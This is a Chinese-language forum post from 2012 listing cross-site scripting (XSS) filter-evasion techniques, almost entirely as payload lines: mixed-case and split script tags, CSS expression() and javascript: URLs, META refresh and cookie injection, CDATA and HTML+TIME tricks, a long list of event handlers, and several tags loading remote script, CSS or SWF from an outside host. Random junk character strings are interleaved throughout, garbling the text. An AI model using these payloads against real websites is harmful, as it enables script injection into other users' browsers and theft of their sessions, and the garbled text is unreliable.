找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2416|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写  a$ P+ V0 l3 R3 |: M& t

( q' M! F. N% Q) T5 I% q! x. t
3 g& X7 m- F* x; M( J2 D- X/ i! d5 G& t2 X( B+ ~  [0 l5 e4 m
    <sCript>alert(‘d’)</scRipT>
3 n/ f  V/ _! F+ l' E
4 {0 M3 T( E. I  z: Y( M2. 利用多加一些其它字符来规避Regular Expression的检查
0 _2 n$ U2 B7 m; |- X  D& E: }- k( Z7 {+ m6 D1 K0 c# }
    <<script>alert(‘c’)//<</script>
* J) c2 q: G4 D
# z0 a# w. K" l1 |& w7 N    <SCRIPT a=">" SRC="t.js"></SCRIPT>7 I& g, ~9 [8 p3 v1 {+ ?! d
( A) i* G0 k& K& l
    <SCRIPT =">" SRC="t.js"></SCRIPT>
# l' [( m2 L7 o" n8 D
1 ^9 F+ Y+ H3 N  p8 h3 Z    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>- N0 d" v7 v9 {+ X* h
1 y, W# R# {+ \
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>) [6 l% E+ O. A- ]" l
! H; g" D0 J7 y0 {% k
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>  r: l; V4 ~2 g* J( y+ w
3 e) K- Z/ k( x& R" Y' T8 w9 a- O
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>; Q. w3 j8 K+ O0 Y% h+ y

* R, J# A. U% ?) y  B! Y. Q3. 以其它扩展名取代.js
" d6 B* |* n2 S# ^0 O
; T1 y8 m# c( v3 f4 Y: l    <script src="bad.jpg"></script>" }3 p) S9 x: ]/ O  \' U

5 c# K$ q- f7 S7 l; F4. 将Javascript写在CSS档里. w* g/ M' C" V6 \5 o: t; ]  s
$ D7 v2 j3 e( Q$ t: Y6 v# j4 B( |% o
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
3 {( Y* p0 U0 G: b8 ^3 J2 M4 l2 X) P# I9 {/ x% g
       example:* B0 r' P: D0 _9 G7 X/ N

* R  {( X2 H' M+ K/ K/ r4 W2 }5 j          body {
4 r* c6 J4 S8 ~$ f# M' c$ M
3 \4 z3 ]( l. |' [( Y6 y1 \               background-image: url(‘javascript:alert("XSS");’)
* _7 j( `( Q" _# g' a7 k9 N3 R/ K& D- N5 u
          }
1 b9 `! N0 @7 o8 y: n0 o
1 H) }$ F7 z! Y* o4 A5. 在script的tag里加入一些其它字符
8 p* W0 w3 q3 i' x/ K; k
  A, n% v2 O9 P    <SCRIPT/SRC="t.js"></SCRIPT>
9 z/ T% B! R" j! \- Q# G9 c% M1 X& J  v5 d  Q& M
    <SCRIPT/anyword SRC="t.js"></SCRIPT>- m0 l9 p& [% a1 n. {

  r2 u4 _9 u0 h/ d. r0 q& r6. 使用tab或是new line来规避: H# o0 _9 i% D% e' h- ^) A! K
' \' v2 C) o* h* O
    <img src="jav ascr ipt:alert(‘XSS3′)">6 s& Y- \: s# p5 Z# }- o

! t1 s. [) T8 b8 l5 @- c    <img src="jav ascr ipt:alert(‘XSS3′)">
0 i% @- b+ C& F  ]/ {& u% l, J1 h: V9 T
    <IMG SRC="jav ascript:alert(‘XSS’);">" u8 O. j, C* Q# _1 U! L

8 }' k; [% b: _1 O2 o; l( X         -> tag
1 Y7 J+ \# r1 E7 ^! V8 I8 t
% o/ V$ R) u9 [& E9 R: {6 Q         -> new line# N* r0 |8 n& r/ c) b
. C6 x. X! m; Q4 ?( D
7. 使用"\"来规避
4 a% H* Y6 w) b9 d7 V5 k6 d+ i# R# w- M4 B" I( e$ L
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
! G3 J/ ~7 G7 C4 y7 j
0 }# x) ^3 |) ~5 M: R1 c. D& I. i# O7 ^    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>: ]6 J: p; u  G8 f. ~% T

/ i2 H9 t  W( C! `6 {    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">! r8 m- g& x& S7 [" {

$ K' c8 a& n5 k0 g: T  ]! W    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
! m$ ]$ \" h& ~& r6 @3 r9 g: `
) a4 U/ z3 A/ n4 k' x/ U" r' u    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>6 D" O+ Z4 c5 w% w5 V3 J
, h* Q* \- U9 t, w* W
8. 使用Hex encode来规避(也可能会把";"拿掉)
+ @+ c! w; [3 a8 o3 Y2 f  [
: E0 N3 E0 `9 K: \  s    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
, p; ^6 ]- x5 i$ ^1 Q/ ~5 [
7 U  Z+ T3 w- x$ Y. U5 R        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
! y0 g. f# v' Y8 T6 ^4 p- Q/ f1 @, m0 l& j8 ?9 E9 _- N; J1 V
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">, S, g! a6 O; x. h3 Q3 g! @8 E

) e9 C9 [% c# w- ~2 ~        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">: u7 r) [7 H) X+ }/ g+ |) V
/ t/ k6 ]2 r, J' h) U# m
9. script in HTML tag
' D; \) h/ R5 T# K$ h
* a( z+ ]: d+ p    <body onload=」alert(‘onload’)」>
. {( w3 N9 p( [( t; q! q: R$ k' `
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload( Q( ~+ s0 `2 l* G5 T9 x  v

/ [2 ?; o1 s& A% n- t) P$ r10. 在swf里含有xss的code8 c' \8 d. I) [: y5 n
/ e. ]' G% F9 s, X% i& Y7 |8 i
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>2 T7 |- a  A  u1 a( p2 E; r9 N

! @8 v  \0 j7 k  U9 l4 B& v5 {11. 利用CDATA将xss的code拆开,再组合起来。0 D- ]4 N+ V6 w
( E, c3 U( `# I3 Y
    <XML ID=I><X><C>
2 a5 G+ h( e/ j' y: V9 ^8 p  r, F; G, V
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
% _# v) O$ y) |% ?$ H* m8 h9 q# N  T8 i% V
    </C></X>& A! l, p" _# g4 ?: R5 E

1 o. g! c9 o4 \    </xml>
- D: m9 j6 [5 x- F9 z+ Z3 Z
# Z& e' e# K5 P    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>- l8 B" N( A1 f' s6 Q) g4 {

. ]! v4 N. V: k: f    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
6 O, J) ~9 k) M7 }1 D8 Q$ Y
1 m/ {( _9 j! M) i- u: \$ \6 T! B    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+ @7 X8 ~3 B  b1 i5 J7 v2 B; E( }' [& r7 ?
12. 利用HTML+TIME。8 k3 X$ E0 q8 |5 h5 P. o0 T1 I& S
: s# J/ S$ j4 U; ]" w% \9 h$ x+ k# f
    <HTML><BODY>
8 E5 ?2 q. M  n7 h5 B" P/ K) r
* ]" w* b0 \  t% S# z: K    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">; k0 T( Q; d4 X; ]* _' ~) }
. N9 P$ L0 a' |; z# a" C
    <?import namespace="t" implementation="#default#time2">
1 @; g2 ]. U! P7 p% u8 x" C6 r/ g$ D3 F$ D
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
+ B, b! I/ u. Z; q) N6 \
% q( ?0 M2 g1 Y2 T4 b& r$ e    </BODY></HTML>6 P$ w7 [  B6 N4 D* w" \1 x- A6 E

! m( T- u* Q( H6 H4 H13. 透过META写入Cookie。  [1 }0 d+ x2 W: x' Z. z$ C! j
) W0 U9 B0 Q# _& k; e) T. m
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">3 K% ~4 V9 B; I) _; `, U
% y0 W) ^8 y4 O: g/ R
14. javascript in src , href , url
  X9 B! C# G1 G$ G4 Z1 E. S$ j# J* P( d. Y+ p# c
    <IFRAME SRC=javascript:alert(’13′)></IFRAME># B$ {0 Q1 i; s' e

! d/ {% u; S' }" ^$ n1 B8 h    <img src="javascript:alert(‘XSS3′)">
4 O0 e- p* A3 F# R
" w& p1 E, o2 C+ Z<IMG DYNSRC="javascript:alert(‘XSS20′)">
5 `0 X% X7 u- _4 u9 f" u
/ e, W: d1 D1 ?+ N0 k( E) {5 B    <IMG LOWSRC="javascript:alert(‘XSS21′)">
: ?  g; |) U  \! u- k, B# _6 s: t, Q. {9 S
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
- V- p0 F& h+ T1 |! v: S2 f2 z& F5 K0 o
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
# o" o9 `* S# C9 u9 d8 c9 g" ?( F  J7 A" k' t6 r2 X* h( a" H
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
; }6 c1 j1 ^! ?
# v% U. M' }. R6 g3 N    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
* O% p$ s6 W$ w' W& [. k5 }; n2 w( O6 j+ k# N
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}3 v" g% Q& S6 T' k7 G& K) i! m) X

- d: h. w" w. ?& u# _    </STYLE><A CLASS=XSS></A>% n6 `8 j$ E+ a( P" [1 h
# P3 z5 y7 B0 x% U
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>( h6 [- \/ y$ N

% ?5 H' F& ~1 j$ i5 K1 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表